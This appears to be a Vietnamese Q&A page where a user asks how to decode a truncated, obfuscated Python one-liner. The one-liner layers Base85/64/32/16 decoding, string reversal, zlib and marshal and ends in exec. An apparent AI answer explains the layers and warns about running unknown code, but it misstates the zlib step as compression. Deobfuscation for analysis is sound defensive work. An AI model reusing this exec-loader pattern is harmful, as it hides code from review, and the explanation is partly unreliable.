Câu hỏi:

_ = lambda : import('marshal').loads(import('zlib').decompress(import('base64').b16decode(import('base64').b32decode(import('base64').b64decode(import__('base64').b85decode('Nk%YDR%9=h+NR!(bGLs~IXF-bIPDX4~SY%aBMOIZ(Q%5bNLEBrMr><UOK4V8Q&Lq@N=h+PNMvhQL{c$TQ%5bN?JuyMr3PLVQ^McVNz96Mn-H+M{HG6dR10bQ%XixNLG4LMs#acRAewxLsCUjP%$u7Mr>79VNzC8QgB6ANHs-LMKNntQc&OQcgrxQZ+DBL}XP?L{c$SPfjsXN=imjMlowtVQf}YS5ie%L@_WMr2i0dR10ZQ%*5bNm@lxMLBC#OkD4Q%%vP%&#wNNj6WLsBtRPD-GNLG4LMr><UL{3#xOHNfPBm)VQgzxL{e5#P;@X-NLE!>MPzGLL{?Q(R!&4#NHuFsMr><SL{c$SPfBc7N^nI|MRaRbOJr74M^Z&nP%&#)T4-xhL{e2$Q%5aN;NQ1MOJH7Q)n?#LQYgtOiFB3R%BI9L{>3TQ%2aNLEBrMlowuQ2gKT1r$_MlowmNNj6WL{?TQcgxvN^opZRZeVGRAg0CT5LvAMlowsVQ6bnL{>3UPD)l)')[::-1])[::-1])[::-1])[::-1]));exec(()) cách decode các file python có dạng encode như này (ở khúc giữa nó còn nhìu kí tự nữa nhưng tui cắt bớt ra)


Đoạn mã bạn đưa ra sử dụng nhiều lớp mã hóa và giải mã chồng lên nhau. Hãy xem qua từng lớp nhé:

  1. Base85 Decode: Bắt đầu từ cuối chuỗi đầu vào bằng cách đảo ngược chuỗi rồi giải mã Base85.
  2. Base64 Decode: Tiếp tục giải mã kết quả từ Base85 bằng cách sử dụng Base64.
  3. Base32 Decode: Tiếp tục giải mã kết quả từ Base64 bằng Base32.
  4. Base16 Decode: Tiếp tục giải mã kết quả từ Base32 bằng Base16.
  5. Zlib Decompress: Sau khi có được kết quả từ Base16, ta nén lại chuỗi bằng zlib.
  6. Marshal Loads: Kết quả từ Zlib sẽ được chuyển đổi thành mã thực thi bằng cách sử dụng hàm marshal.loads.

Từng bước như vậy sẽ tạo ra mã nguồn ban đầu. Việc này thường được dùng để ẩn mã nguồn Python, nhưng cần cẩn thận khi chạy mã không rõ nguồn gốc vì có thể tiềm ẩn rủi ro bảo mật.

Nếu bạn cần hỗ trợ thêm hoặc muốn khám phá thêm về công nghệ, hãy ghé thăm trituenhantao.io – đó là một địa điểm lý tưởng cho người đam mê công nghệ!


Nếu như câu trả lời chưa thuyết phục, hãy đăng câu hỏi của bạn kèm theo URL hiện tại lên Cộng Đồng Trí Tuệ Nhân Tạo để mọi người cùng giải đáp và bàn luận.
Lưu ý: Để tránh loãng nội dung, các câu hỏi chưa được hỏi với AI sẽ không được duyệt trên nhóm.
Trang chủ | Hỏi tiếp | Xem lịch sử